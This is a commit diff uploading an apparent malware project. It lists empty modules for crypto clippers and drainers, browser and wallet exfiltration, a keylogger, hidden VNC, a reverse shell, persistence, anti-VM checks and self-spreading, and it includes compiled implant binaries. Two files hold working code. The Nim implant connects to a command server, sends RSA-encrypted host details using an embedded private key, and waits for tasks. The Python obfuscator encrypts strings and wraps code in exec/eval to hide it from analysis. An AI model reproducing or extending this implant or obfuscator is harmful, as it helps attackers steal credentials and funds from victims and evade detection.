Upload of project source code files.
This commit is contained in:
0
components/cats.airforce_daemon.bat
Normal file
0
components/cats.airforce_daemon.bat
Normal file
3
components/implant/config.d
Normal file
3
components/implant/config.d
Normal file
@@ -0,0 +1,3 @@
|
||||
type
|
||||
Configuration = ref object
|
||||
implant_private_key: string
|
||||
0
components/implant/listener.d
Normal file
0
components/implant/listener.d
Normal file
0
components/implant/modules/block_websites.d
Normal file
0
components/implant/modules/block_websites.d
Normal file
0
components/implant/modules/clipper/btc.d
Normal file
0
components/implant/modules/clipper/btc.d
Normal file
0
components/implant/modules/clipper/clipper.d
Normal file
0
components/implant/modules/clipper/clipper.d
Normal file
0
components/implant/modules/clipper/eth.d
Normal file
0
components/implant/modules/clipper/eth.d
Normal file
0
components/implant/modules/clipper/ltc.d
Normal file
0
components/implant/modules/clipper/ltc.d
Normal file
0
components/implant/modules/clipper/sol.d
Normal file
0
components/implant/modules/clipper/sol.d
Normal file
0
components/implant/modules/clipper/usdt.d
Normal file
0
components/implant/modules/clipper/usdt.d
Normal file
0
components/implant/modules/clipper/xmr.d
Normal file
0
components/implant/modules/clipper/xmr.d
Normal file
0
components/implant/modules/drainer/atomic.d
Normal file
0
components/implant/modules/drainer/atomic.d
Normal file
0
components/implant/modules/drainer/btc.d
Normal file
0
components/implant/modules/drainer/btc.d
Normal file
0
components/implant/modules/drainer/drainer.d
Normal file
0
components/implant/modules/drainer/drainer.d
Normal file
0
components/implant/modules/drainer/eth.d
Normal file
0
components/implant/modules/drainer/eth.d
Normal file
0
components/implant/modules/drainer/exodus.d
Normal file
0
components/implant/modules/drainer/exodus.d
Normal file
0
components/implant/modules/drainer/ltc.d
Normal file
0
components/implant/modules/drainer/ltc.d
Normal file
0
components/implant/modules/drainer/sol.d
Normal file
0
components/implant/modules/drainer/sol.d
Normal file
0
components/implant/modules/drainer/usdt.d
Normal file
0
components/implant/modules/drainer/usdt.d
Normal file
0
components/implant/modules/drainer/xmr.d
Normal file
0
components/implant/modules/drainer/xmr.d
Normal file
0
components/implant/modules/exfiltration/browser.d
Normal file
0
components/implant/modules/exfiltration/browser.d
Normal file
0
components/implant/modules/exfiltration/files.d
Normal file
0
components/implant/modules/exfiltration/files.d
Normal file
0
components/implant/modules/exfiltration/game.d
Normal file
0
components/implant/modules/exfiltration/game.d
Normal file
0
components/implant/modules/exfiltration/mail.d
Normal file
0
components/implant/modules/exfiltration/mail.d
Normal file
0
components/implant/modules/exfiltration/messenger.d
Normal file
0
components/implant/modules/exfiltration/messenger.d
Normal file
0
components/implant/modules/exfiltration/network.d
Normal file
0
components/implant/modules/exfiltration/network.d
Normal file
0
components/implant/modules/exfiltration/system.d
Normal file
0
components/implant/modules/exfiltration/system.d
Normal file
0
components/implant/modules/exfiltration/vpn.d
Normal file
0
components/implant/modules/exfiltration/vpn.d
Normal file
0
components/implant/modules/exfiltration/wallet.d
Normal file
0
components/implant/modules/exfiltration/wallet.d
Normal file
0
components/implant/modules/hvnc/hvnc.d
Normal file
0
components/implant/modules/hvnc/hvnc.d
Normal file
0
components/implant/modules/injections/injection.d
Normal file
0
components/implant/modules/injections/injection.d
Normal file
0
components/implant/modules/injections/mail.d
Normal file
0
components/implant/modules/injections/mail.d
Normal file
0
components/implant/modules/injections/messenger.d
Normal file
0
components/implant/modules/injections/messenger.d
Normal file
0
components/implant/modules/injections/wallet.d
Normal file
0
components/implant/modules/injections/wallet.d
Normal file
0
components/implant/modules/keylogger.d
Normal file
0
components/implant/modules/keylogger.d
Normal file
0
components/implant/modules/miner/btc.d
Normal file
0
components/implant/modules/miner/btc.d
Normal file
0
components/implant/modules/miner/eth.d
Normal file
0
components/implant/modules/miner/eth.d
Normal file
0
components/implant/modules/miner/ltc.d
Normal file
0
components/implant/modules/miner/ltc.d
Normal file
0
components/implant/modules/miner/miner.d
Normal file
0
components/implant/modules/miner/miner.d
Normal file
0
components/implant/modules/miner/sol.d
Normal file
0
components/implant/modules/miner/sol.d
Normal file
0
components/implant/modules/miner/usdt.d
Normal file
0
components/implant/modules/miner/usdt.d
Normal file
0
components/implant/modules/miner/xmr.d
Normal file
0
components/implant/modules/miner/xmr.d
Normal file
0
components/implant/modules/persistence.d
Normal file
0
components/implant/modules/persistence.d
Normal file
0
components/implant/modules/porn_detection.d
Normal file
0
components/implant/modules/porn_detection.d
Normal file
0
components/implant/modules/protection/anti_debug.d
Normal file
0
components/implant/modules/protection/anti_debug.d
Normal file
0
components/implant/modules/protection/anti_vm.d
Normal file
0
components/implant/modules/protection/anti_vm.d
Normal file
0
components/implant/modules/reverse_shell.d
Normal file
0
components/implant/modules/reverse_shell.d
Normal file
0
components/implant/modules/shellcode_loader.d
Normal file
0
components/implant/modules/shellcode_loader.d
Normal file
0
components/implant/modules/spread/mail.d
Normal file
0
components/implant/modules/spread/mail.d
Normal file
0
components/implant/modules/spread/messenger.d
Normal file
0
components/implant/modules/spread/messenger.d
Normal file
0
components/implant/modules/spread/network.d
Normal file
0
components/implant/modules/spread/network.d
Normal file
0
components/implant/modules/spread/spread.d
Normal file
0
components/implant/modules/spread/spread.d
Normal file
BIN
components/implant/out/rawr.exe
Normal file
BIN
components/implant/out/rawr.exe
Normal file
Binary file not shown.
0
components/implant/paw.d
Normal file
0
components/implant/paw.d
Normal file
BIN
components/implant/paw.exe
Normal file
BIN
components/implant/paw.exe
Normal file
Binary file not shown.
114
components/implant/paw.nim
Normal file
114
components/implant/paw.nim
Normal file
@@ -0,0 +1,114 @@
|
||||
import std/[asyncdispatch, net, base64, json, strutils, openssl, tables]
|
||||
|
||||
type
|
||||
Configuration = ref object
|
||||
socket_server: string
|
||||
implant_private_key: string
|
||||
implant_public_key: string
|
||||
|
||||
let configInstance = Configuration(
|
||||
socket_server: "127.0.0.1:42720",
|
||||
implant_private_key: decode("LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JSUpRZ0lCQURBTkJna3Foa2lHOXcwQkFRRUZBQVNDQ1N3d2dna29BZ0VBQW9JQ0FRQ3hFSFEzdWZVMFNpSmcKMEtGQW5raUM3bFRHVklVNzRVZ1lhb1dIR2FhajIyaUJ5ZTFMZklRK0VTNUNaSG5vSFh6SEkySkJySTBMZFdzUwpGVXhobTBYMk04UERvdDNpUlBNRDNPOWZlTEhENVRkMmtzTW8wek1jZVE3M2I0cllqWXNSQk1LdFJ0ODB2eERTCmdPaSt4M3RFWkl0ZkwxQ2l6VW9SNmRWZ0hlQXVPcU9NMjdocGNrdVRLTWRhZHY1ZDZEZ09ON2NFVHhMdUpZbm4KMmtnT2N2clJiaXdqSFEyQzhSNVpodWpOcUE0RCtGVWJrbVJRcWtzM1huZksxOEExM25LTjMrak56RjdJbGxYagpmVEpDYTFoWFpYbE1mbnBWc3d4ZG1rRUp1QUVCT0NSelBjUmt4cWJjNERmR1RTam1hcW5YMXRlZUxGTFVEUkdVCmw2SHI4MGJDeTRIcmxDSFo5QWlpT1Y0Q2t2VmRMU1dEODFPWmFNd0lhSklOSVpnY3dJcjJndWZTWHZuaFBGdEYKNVBqcGFPQVhXVDRVRGJSOTFYcUtYa3BYdTRmZkhpdi9UMkxDRURmSnU3b0Fyb21CbktuL1VJb25zSFdFSkFtawptSHZQUjNzNnVMam94SnE1WC9WUGFxZXV4aExUQ1ArU3YweDhvTHdSZVF3RnZYbk5FYk5YeWxNZ1ZBd3ZTZHhPCnJqczBkbUNOemY0U25DaFRuR2J6TUZIRDVRUTRUN1dWMjdxZDY4VDNnUlBZSEZ3Y1hta0s0YlVMTHEydG9XcHcKTFkvRTIrRnIxUmplSzRsMDJpRk9wSUY2eXZtV2ZNdlYySUZxM1I3SmhUMUcyWklIbm1qRDhCMVdRcVgraHFPcgo3SEZoZlJ1ZzRETm9Tbm1pV0FHUDBSN2NXdHBzY3dJREFRQUJBb0lDQURoeTYvSTJMVWU1Mk1MdjBIRFc1WHdrCmVrOXVjN2wyNVhLdlJ4bWVvbU03MkZJRWE4djBpdjUwb01CVzR3eU9saEN3cGFzVlZUUVJmNHlZMEt5UGdacnYKdnRvWWlzK1B0c0FGQ0NWeVI0NFIvZ0FsNHVVWmpBSm9UODZ2dDE2NXBWdk1IanA2elQ4MktLbExvcWZyMWM4awpsTkJJTjlkblJsVjJyR21Eck14Z01uTCtPNGtXZ0tTT1RCdjVzcmVDaUpoeng3dXViL1VQYjZ0RWlsTmM4YnloCitKMUxMbHNQL3VLQTRhaHJDdWpXRzEvNmFGUFZMcnljdCtrcHBtUW1JblE3cmE4cW1BOHY2bnJubDRYWVRpWXkKdWh5YWQrcnBkYWhEdkxkWis2d0ZWNDJMNUJoU3dyREpKTTdxRzM5MkF1YkdYaUJWdGlSWGRFTGdvcVVqL21zawp6TWs4elhxK2hvMnB2M0R0QVpBWnJGcXZwb2syM0I5bTBhYzBZUlBMWEVXVTVMdTVYdVBhNWhGNXNkRDBmeGdOCnRtNDI0V3V0L282TkF0R3FteGVjbVUyRHB3cWlFTVRsSzNyNW1PR0xvWitVS0V3Wkd6ZHlkRmtEMUFOMzUrZGIKQ0hJYittWjlxT2N3YlNZbWNJZ1pXWmJNcWYxcTQ3ay9iczQ5QWg2U2ZnbkNGV1VHSUVlekJJbktuaGVMS2dJVwo5UWZvdmxCUm5DRVlsdkFnbm5RLzJOdDFuUXA2M0Y2TlVLaERJQXlNUjdDaU5FdnlVbnErTG1hNjRuL2tSMnpxCmlGK0FJNlNLeENHVXFpTmgrWEpoZEVEdy9YajZ1V28vSDVSVXVudUtRU3lySU1FRE9KTnZxYk1iRS9Ud1Uxbm0KY2ZqZkloQWU1MUVsaXN3Y0J3K1ZBb0lCQVFEaW9ReXJIMW1mN2d0aE1Ca3BpNTV0NnhoSVFhcnIrY1h0eFFBbgpYL3NDSmg0cGZGMWRXNlB6UEpMeVJpWU9pQ3haa01KcEptTDdjclVSSnRFSXNqRlg0eEZIZ29LaUtQUUFVTjBWCkhyK3NmcFBBcUh1NWY1VzdoRVdCdFRIU1licWVMSU9meVNlUmpHNDEwWC9QRDJ2ZzBSUzByL0xqcXlpcXFOUEUKQlR5RjdUbEJzbjZwUkhlVGpyVjBOOEh5UHVLNGY2ZzUvMCtiOUxiR0FrK01za2Z2VkpBQndhdEFMQlJWaWtlSwpBZk9uVkpmMEJaVWVPMTduUVR6TGtMazV1RGpFSTZsUmRJMUgwbTBaRVNoNHgvTnNMbVBhc05EdHZQdVJzVFVhCkJLZmN1WGFsUzE3eWQxYW1RcUR0WUJ5V3lja2VxVWhPZUxIME1wUmFRSzgrVWgzbkFvSUJBUURJQXZtMk1nMlkKVVEvaVkvK3huSnE2UDRIVHVMUWVEalBRWkJVT3dFNGtUM1BvRGdGQ3Z0alNxWjdtU0djR2p6Z3kzbCtHL25kOQpGZUxyVlhqR1B1dURYTFhVSFRhWndJRWc1bytwQjFOclg2czZzKytMa0FteTZrMS9pUXhWRXFYaXFxdG9TWnZhClNqYVkwZW1ZZTIzWkxLaWtCRXhkM2gxUUY4OFVhYTd1WFB1T240MU5raDdtWmRsTEt5WmpNN1VJay96b3VscjYKVlROdWNmazY0MmRUeWNLMUhkaDFBRnlkb0FFam5ZaTNhNGVDRFp2Q0NXeWlSRDVLVFpNL2d1Rk9HRWQycE5EQQpqQ0Nxb1poSnltcW1JY3llL2pBQ1FpeTdJZEpEZ01BbEhrVEhkR2pWZ0hvUG41MGZydUwyQ1VleE9IdGM5QW8vCjJwOGtnYWsyMWpPVkFvSUJBUUNPa3g4ek1OL2ptNUNSTGY5R2djM0QvUmtqckJ4cHBKTit5R2NXWG0yOXBsbG4KWkJRZ3ZaeGhWQVJtWXZkaVFRMFZzOXA2NkdseEkzTUNQVmRZanpJM3htU0NobnJFcGRzTHI5UEdpN2V1UDF1WQo0dVlqaHo2ZDM5TVNqUG14RDBhbVovN09zWEF4UXhXNnlmZ01QZmx5VUZja2JXVHpFaVRkYUtVQk53SWloMkYwCkVXVlorL2IyWDl1TUo5L2VGTzN4Z0c1SFBuWEkrYVZhNE8xRzZJb1U2VEJIeXAyQUc3c1hMWTFnSjJZd0tTb0gKbk5ONVY0U1hIQld4UTNVaitOL05sVm5hSXVjVy9pMGdqZ2pXSTRUaTFEU0J5cWRHU1pSQ3ppZElIUkcxN1AvVgpjWnRrRXV2eVlReDVDZlF5Y1BRVVZBOW5Qc3RGZytTTSt4REV0a2lWQW9JQkFDOTRGVS9hZlVPREthUHZXOFlKCmh1ZGhIeXppajB6NnplMU5jM24yeGhUMERtd3F0cjNpa1k4ZDFxcU0wSGJNRXVodnduaEZlSkpsV1YvRS8wNzkKcStPWFkwZ2VUdEVhMFFxLzdhU09Lb3czUG1wR1Bqbi9TMjM5RWJ1TkNUSS9wTU14QWxGVDl2dE4xYnRiUm5kOApBOHdoUHp6K0VDblBCMkgwNUo3Um5rVFFLSnZtM2lCazU1U0M0NWxsZWt6Yy9zQTBiemZFMHNiSzVkUDJsTklYCkduVFdVN0dzamF6bkV4UU4zM2RXY2hZbUhSa09wY0xkZmJ6ZE9YTmxDZWR1NW80a1VRR2xpQzNLbEE0ckgvdVQKWU5CaEFURlMzbzRLcXBjWEpkSURncGJNb2tJOExJMVBXcWpPbHZub0JkR2l6ak1QVnFmdSsyZkFPVGp1MVB4QQp4aWtDZ2dFQUc0R2VlRDdxWVBuYU81OUNmYXozZjQ3MDI3RExMNnFjbk55OE5yV1VIaW5raGVwYy9wNTI1R05zCkFyWElLNkFCVG1VTXdaZE8xZXRaaVJVVHFHL0dIY0w5SllFWFdHTEZ0RGJRREgzaDNVMGNQRHJHYTI5Z3ZIdE8KcTBBb01NNW1xUXkydUVlVzBmSlNGcUEzN2VTTitiQ3dhMndqd0hyUVFBZUE3NnZsTEJ3RW5HRjcxVkdNb3pDRwptR294anJzNkxicmQzYmVScXZkckZUalJZcmZWaVc2c094Q3ZXNGQwTUtyMlI4bHg2TkpzMzA0RG5zTi81TGgwCjFCTzc2eWx0VHVoL1FHQ2thOG1lYzNpdlh3NU9NSy9NSk5MUGxDOVduS1I3d1VMQXpFeHcvQWtOZnBCMFlCR3MKc1crS0xCMnVGd2N3UVllaW9Uc3piSG9wRElZWmdRPT0KLS0tLS1FTkQgUFJJVkFURSBLRVktLS0tLQo="),
|
||||
implant_public_key: decode("LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQ0lqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FnOEFNSUlDQ2dLQ0FnRUFzUkIwTjduMU5Fb2lZTkNoUUo1SQpndTVVeGxTRk8rRklHR3FGaHhtbW85dG9nY250UzN5RVBoRXVRbVI1NkIxOHh5TmlRYXlOQzNWckVoVk1ZWnRGCjlqUER3NkxkNGtUekE5enZYM2l4dytVM2RwTERLTk16SEhrTzkyK0sySTJMRVFUQ3JVYmZOTDhRMG9Eb3ZzZDcKUkdTTFh5OVFvczFLRWVuVllCM2dManFqak51NGFYSkxreWpIV25iK1hlZzREamUzQkU4UzdpV0o1OXBJRG5MNgowVzRzSXgwTmd2RWVXWWJvemFnT0EvaFZHNUprVUtwTE4xNTN5dGZBTmQ1eWpkL296Y3hleUpaVjQzMHlRbXRZClYyVjVUSDU2VmJNTVhacEJDYmdCQVRna2N6M0VaTWFtM09BM3hrMG81bXFwMTliWG5peFMxQTBSbEplaDYvTkcKd3N1QjY1UWgyZlFJb2psZUFwTDFYUzBsZy9OVG1Xak1DR2lTRFNHWUhNQ0s5b0xuMGw3NTRUeGJSZVQ0NldqZwpGMWsrRkEyMGZkVjZpbDVLVjd1SDN4NHIvMDlpd2hBM3lidTZBSzZKZ1p5cC8xQ0tKN0IxaENRSnBKaDd6MGQ3Ck9yaTQ2TVNhdVYvMVQycW5yc1lTMHdqL2tyOU1mS0M4RVhrTUJiMTV6Ukd6VjhwVElGUU1MMG5jVHE0N05IWmcKamMzK0Vwd29VNXhtOHpCUncrVUVPRSsxbGR1Nm5ldkU5NEVUMkJ4Y0hGNXBDdUcxQ3k2dHJhRnFjQzJQeE52aAphOVVZM2l1SmROb2hUcVNCZXNyNWxuekwxZGlCYXQwZXlZVTlSdG1TQjU1b3cvQWRWa0tsL29hanEreHhZWDBiCm9PQXphRXA1b2xnQmo5RWUzRnJhYkhNQ0F3RUFBUT09Ci0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQo="),
|
||||
)
|
||||
|
||||
let ip = configInstance.socket_server.split(":")[0]
|
||||
let port = parseInt(configInstance.socket_server.split(":")[1])
|
||||
|
||||
var system_information = initTable[string, string]()
|
||||
system_information["host"] = "test"#getHostName()
|
||||
system_information["user"] = "test2"#getUsername()
|
||||
|
||||
let sysinf = %*system_information
|
||||
|
||||
proc rsaPrivateDecrypt(rsa: PRSA, encryptedData: string): string =
|
||||
let keySize = RSA_size(rsa)
|
||||
var decryptedData: seq[uint8] = newSeq[uint8](keySize)
|
||||
ERR_clear_error()
|
||||
|
||||
let resultLen = RSA_private_decrypt(
|
||||
cint(len(encryptedData)),
|
||||
cast[ptr uint8](encryptedData.cstring),
|
||||
cast[ptr uint8](decryptedData[0].addr),
|
||||
rsa,
|
||||
RSA_PKCS1_PADDING
|
||||
)
|
||||
|
||||
if resultLen == -1:
|
||||
let err = ERR_get_error()
|
||||
let errStr = ERR_error_string(err, nil)
|
||||
echo "RSA decryption failed with error: ", errStr
|
||||
raise newException(ValueError, "RSA decryption failed")
|
||||
setLen(decryptedData, resultLen)
|
||||
|
||||
return $decryptedData
|
||||
|
||||
proc rsaPublicEncrypt(rsa: PRSA, dataToEncrypt: string): seq[uint8] =
|
||||
let keySize = RSA_size(rsa)
|
||||
var encryptedData: seq[uint8] = newSeq[uint8](keySize)
|
||||
ERR_clear_error()
|
||||
|
||||
let resultLen = RSA_public_encrypt(
|
||||
cint(len(dataToEncrypt)),
|
||||
cast[ptr uint8](dataToEncrypt.cstring),
|
||||
cast[ptr uint8](encryptedData[0].addr),
|
||||
rsa,
|
||||
RSA_PKCS1_PADDING
|
||||
)
|
||||
|
||||
if resultLen == -1:
|
||||
let err = ERR_get_error()
|
||||
let errStr = ERR_error_string(err, nil)
|
||||
echo "RSA encryption failed with error: ", errStr
|
||||
raise newException(ValueError, "RSA encryption failed")
|
||||
setLen(encryptedData, resultLen)
|
||||
|
||||
return encryptedData
|
||||
|
||||
proc sock_conn() =
|
||||
var implant = newSocket()
|
||||
implant.connect(ip, Port(port))
|
||||
|
||||
implant.send(configInstance.implant_public_key)
|
||||
|
||||
#var agent_id = implant.recv(64)
|
||||
|
||||
let pubbio = BIO_new_mem_buf(cast[ptr byte](addr configInstance.implant_public_key[0]), -1)
|
||||
let pubrsa = PEM_read_bio_RSA_PUBKEY(pubbio, nil, nil, nil)
|
||||
|
||||
let privbio = BIO_new_mem_buf(cast[ptr byte](addr configInstance.implant_private_key[0]), -1)
|
||||
let privrsa: PRSA = PEM_read_bio_RSA_PRIVATEKEY(privbio, nil, nil, nil)
|
||||
|
||||
if pubrsa.isNil or privrsa.isNil:
|
||||
echo "Failed to load RSA keys"
|
||||
else:
|
||||
echo "RSA keys successfully loaded"
|
||||
|
||||
echo "System Information: ", $sysinf
|
||||
|
||||
let sysinf: seq[uint8] = rsaPublicEncrypt(pubrsa, $sysinf)
|
||||
#let sysinf: seq[uint8] = rsaPublicEncrypt(pubrsa, "testdata")
|
||||
|
||||
echo "Encrypted Data: ", encode(sysinf)
|
||||
|
||||
implant.send(encode(sysinf))
|
||||
|
||||
while true:
|
||||
var task: string = implant.recv(4096)
|
||||
|
||||
echo "Encrypted task: ", task
|
||||
|
||||
var res = rsaPrivateDecrypt(privrsa, task)
|
||||
|
||||
echo "Task: ", res
|
||||
|
||||
discard BIO_free(pubbio)
|
||||
discard BIO_free(privbio)
|
||||
|
||||
proc main() {.async.} =
|
||||
echo "RSA Implant Private Key: ", configInstance.implant_private_key
|
||||
echo "RSA Implant Public Key: ", configInstance.implant_public_key
|
||||
|
||||
sock_conn()
|
||||
|
||||
waitFor main()
|
||||
0
components/implant/sender.d
Normal file
0
components/implant/sender.d
Normal file
0
components/loader/jar/loader.java
Normal file
0
components/loader/jar/loader.java
Normal file
0
components/loader/loader.bat
Normal file
0
components/loader/loader.bat
Normal file
0
components/loader/loader.ps1
Normal file
0
components/loader/loader.ps1
Normal file
285
components/obfuscation/obfuscate.py
Normal file
285
components/obfuscation/obfuscate.py
Normal file
@@ -0,0 +1,285 @@
|
||||
__name__ = "rose_obfuscator"
|
||||
__author__ = "gumbobr0t"
|
||||
__version__ = "1.0.3"
|
||||
|
||||
from logging import INFO, DEBUG, getLogger, Formatter, FileHandler
|
||||
from ast import (
|
||||
parse,
|
||||
unparse,
|
||||
walk,
|
||||
Name,
|
||||
Assign,
|
||||
ClassDef,
|
||||
FunctionDef,
|
||||
AsyncFunctionDef,
|
||||
)
|
||||
from random import choice
|
||||
from string import ascii_letters, ascii_uppercase, digits, punctuation
|
||||
from os import path, getcwd
|
||||
from re import sub
|
||||
from lzma import compress, decompress
|
||||
from argparse import ArgumentParser
|
||||
from colorlog import StreamHandler, ColoredFormatter
|
||||
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
|
||||
from cryptography.hazmat.primitives import padding
|
||||
from cryptography.hazmat.backends import default_backend
|
||||
from base64 import urlsafe_b64encode, urlsafe_b64decode
|
||||
|
||||
log_format = "%(asctime)s [%(levelname)s] [%(module)s.%(funcName)s] %(message)s"
|
||||
handler = StreamHandler()
|
||||
handler.setFormatter(ColoredFormatter(log_format))
|
||||
handler.setLevel(INFO)
|
||||
file_handler = FileHandler("rose-obf.log", encoding="utf-8")
|
||||
file_handler.setLevel(DEBUG)
|
||||
file_formatter = Formatter(log_format)
|
||||
file_handler.setFormatter(file_formatter)
|
||||
root_logger = getLogger()
|
||||
root_logger.addHandler(handler)
|
||||
root_logger.addHandler(file_handler)
|
||||
root_logger.setLevel(DEBUG)
|
||||
|
||||
|
||||
def generate_key(length=16):
|
||||
characters = ascii_letters + punctuation
|
||||
key = "".join(choice(characters) for _ in range(length))
|
||||
return key
|
||||
|
||||
|
||||
def generate_random_string(length):
|
||||
characters = ascii_uppercase + digits
|
||||
return "".join(choice(characters) for _ in range(length))
|
||||
|
||||
|
||||
def getCustom():
|
||||
dec = choice([1, 2, 3])
|
||||
|
||||
if dec == 1:
|
||||
return generate_pattern1()
|
||||
elif dec == 2:
|
||||
return generate_pattern2()
|
||||
elif dec == 3:
|
||||
return generate_pattern3()
|
||||
|
||||
|
||||
def generate_pattern1():
|
||||
return "__" + "".join(choice("O0") for _ in range(10))
|
||||
|
||||
|
||||
def generate_pattern2():
|
||||
return "__" + "".join(choice("0123456789") for _ in range(10)) + "__"
|
||||
|
||||
|
||||
def generate_pattern3():
|
||||
return "".join(choice("Il") for _ in range(15)) + "I"
|
||||
|
||||
|
||||
def encryptData(text, key):
|
||||
cipher = Cipher(algorithms.AES(key), modes.ECB(), backend=default_backend())
|
||||
encryptor = cipher.encryptor()
|
||||
|
||||
padder = padding.PKCS7(128).padder()
|
||||
padded_data = padder.update(text.encode()) + padder.finalize()
|
||||
|
||||
ciphertext = encryptor.update(padded_data) + encryptor.finalize()
|
||||
return urlsafe_b64encode(ciphertext).decode()
|
||||
|
||||
|
||||
def decryptData(ciphertext, key):
|
||||
cipher = Cipher(algorithms.AES(key), modes.ECB(), backend=default_backend())
|
||||
decryptor = cipher.decryptor()
|
||||
|
||||
decrypted_data = (
|
||||
decryptor.update(urlsafe_b64decode(ciphertext)) + decryptor.finalize()
|
||||
)
|
||||
|
||||
unpadder = padding.PKCS7(128).unpadder()
|
||||
unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
|
||||
|
||||
return unpadded_data.decode()
|
||||
|
||||
|
||||
def process_node(node, name_dict):
|
||||
if isinstance(node, Name) and node.id in name_dict:
|
||||
node.id = name_dict[node.id]
|
||||
|
||||
|
||||
def obfuscate_code(input_file):
|
||||
with open(input_file, "r", encoding="utf-8", errors="ignore") as f:
|
||||
content = f.read()
|
||||
|
||||
content = sub(r"\n\s*\n", "\n", content)
|
||||
|
||||
tree = parse(content)
|
||||
|
||||
name_dict = {}
|
||||
|
||||
root_logger.info(
|
||||
"Renaming Classes, Functions, Arguments, Keyword Arguments and Variables..."
|
||||
)
|
||||
for node in walk(tree):
|
||||
if isinstance(node, (FunctionDef, AsyncFunctionDef)):
|
||||
old_name = node.name
|
||||
new_name = getCustom()
|
||||
root_logger.debug(
|
||||
f"Function Name: {old_name} ---> New Function Name: {new_name}"
|
||||
)
|
||||
name_dict[old_name] = new_name
|
||||
node.name = new_name
|
||||
|
||||
for arg in node.args.args:
|
||||
old_arg_name = arg.arg
|
||||
new_arg_name = getCustom()
|
||||
root_logger.debug(
|
||||
f"Argument Name: {old_arg_name} ---> New Argument Name: {new_arg_name}"
|
||||
)
|
||||
name_dict[old_arg_name] = new_arg_name
|
||||
arg.arg = new_arg_name
|
||||
|
||||
for keyword in node.args.kwonlyargs:
|
||||
old_kwarg_name = keyword.arg
|
||||
new_kwarg_name = getCustom()
|
||||
root_logger.debug(
|
||||
f"Keyword Argument Name: {old_kwarg_name} ---> New Keyword Argument Name: {new_kwarg_name}"
|
||||
)
|
||||
name_dict[old_kwarg_name] = new_kwarg_name
|
||||
keyword.arg = new_kwarg_name
|
||||
|
||||
elif isinstance(node, ClassDef):
|
||||
old_name = node.name
|
||||
new_name = getCustom()
|
||||
root_logger.debug(f"Class Name: {old_name} ---> New Class Name: {new_name}")
|
||||
name_dict[old_name] = new_name
|
||||
node.name = new_name
|
||||
|
||||
for node in walk(tree):
|
||||
if isinstance(node, Assign):
|
||||
for target in node.targets:
|
||||
if isinstance(target, Name):
|
||||
old_var_name = target.id
|
||||
new_var_name = getCustom()
|
||||
root_logger.debug(
|
||||
f"Variable Name: {old_var_name} ---> New Variable Name: {new_var_name}"
|
||||
)
|
||||
name_dict[old_var_name] = new_var_name
|
||||
target.id = new_var_name
|
||||
|
||||
process_node(node, name_dict)
|
||||
root_logger.info(
|
||||
"Renaming of classes, functions, arguments, keyword arguments and variables done."
|
||||
)
|
||||
|
||||
return unparse(tree)
|
||||
|
||||
|
||||
key = [ord(char) for char in generate_key()]
|
||||
decryptionFun = getCustom()
|
||||
ciphertextParam = getCustom()
|
||||
base64decodeVar = getCustom()
|
||||
lzmadecompressVar = getCustom()
|
||||
keyVar = getCustom()
|
||||
cipherVar = getCustom()
|
||||
decryptorVar = getCustom()
|
||||
decrypted_textVar = getCustom()
|
||||
unpadderVar = getCustom()
|
||||
unpadded_dataVar = getCustom()
|
||||
|
||||
|
||||
def replace_string(match):
|
||||
s = match.group(1)
|
||||
encrypted_string = encryptData(s, bytes(key))
|
||||
encrypted_string = encrypted_string.replace("'", r"\'")
|
||||
chr_format = "+".join([f"chr({ord(char)})" for char in repr(encrypted_string)])
|
||||
b_format = [ord(char) for char in encrypted_string]
|
||||
stage_1 = f"{decryptionFun}(eval({base64decodeVar}({urlsafe_b64encode(f'bytes({b_format})'.encode('utf-8'))})).decode(\"utf-8\"))"
|
||||
stringified_stage_1 = str(urlsafe_b64encode(stage_1.encode("utf-8")))
|
||||
stage_2 = f'eval({base64decodeVar}({stringified_stage_1}).decode("utf-8"))[1:-1]'
|
||||
decrypted_string = decryptData(encrypted_string, bytes(key))
|
||||
root_logger.debug(
|
||||
f"String: {s} ---> Encrypted String: {encrypted_string} ---> Char Encrypted String: {chr_format} ---> Bytes Encrypted String: {b_format} ---> Evalized encoded string: {stage_2} ---> Aes Decrypted String: {decrypted_string}"
|
||||
)
|
||||
return stage_2
|
||||
|
||||
|
||||
def obfuscate_strings(content):
|
||||
root_logger.info("Encrypting strings...")
|
||||
data = sub(r"(\'[^\']*\'|\"[^\"]*\")", replace_string, content)
|
||||
root_logger.info("Encryption of strings done.")
|
||||
return data
|
||||
|
||||
|
||||
def main(input_file, output_file):
|
||||
root_logger.debug("Entered main function.")
|
||||
content = obfuscate_code(input_file)
|
||||
|
||||
with open(output_file, "w") as f:
|
||||
data = "".join(
|
||||
[
|
||||
"from cryptography.hazmat.primitives.ciphers import Cipher,algorithms,modes\n",
|
||||
"from cryptography.hazmat.primitives import padding\n",
|
||||
"from cryptography.hazmat.backends import default_backend\n",
|
||||
f"def {decryptionFun}({ciphertextParam}):\n",
|
||||
f" {keyVar}=bytes({key})\n"
|
||||
f" {cipherVar}=Cipher(algorithms.AES({keyVar}),modes.ECB(),backend=default_backend())\n",
|
||||
f" {decryptorVar}={cipherVar}.decryptor()\n",
|
||||
f" {decrypted_textVar}={decryptorVar}.update({base64decodeVar}({ciphertextParam}))+{decryptorVar}.finalize()\n",
|
||||
f" {unpadderVar}=padding.PKCS7(128).unpadder()\n",
|
||||
f" {unpadded_dataVar}={unpadderVar}.update({decrypted_textVar}) + {unpadderVar}.finalize()\n",
|
||||
f" return {unpadded_dataVar}.decode()\n\n",
|
||||
obfuscate_strings(content),
|
||||
]
|
||||
)
|
||||
|
||||
compressed_data = compress(
|
||||
f'str({base64decodeVar}({urlsafe_b64encode(str(data).encode("utf-8"))}).decode("utf-8"))'.encode(
|
||||
"utf-8"
|
||||
)
|
||||
)
|
||||
data = f"from base64 import urlsafe_b64decode as {base64decodeVar};from lzma import decompress as {lzmadecompressVar};exec(eval({lzmadecompressVar}({compressed_data})))"
|
||||
data = (
|
||||
"""# Obfuscated with Rose\n# github.com/rose-dll\n\n# ^..^ /\n# /_/\_____/\n# /\ /\\\n# / \ / \\\n\n"""
|
||||
+ data
|
||||
)
|
||||
f.write(data)
|
||||
|
||||
|
||||
if __name__ == "rose_obfuscator":
|
||||
parser = ArgumentParser(
|
||||
description="Obfuscate Python code efficiently with Rose-obf."
|
||||
)
|
||||
parser.add_argument(
|
||||
"-i",
|
||||
"--input",
|
||||
help="Input file name (required, .py)",
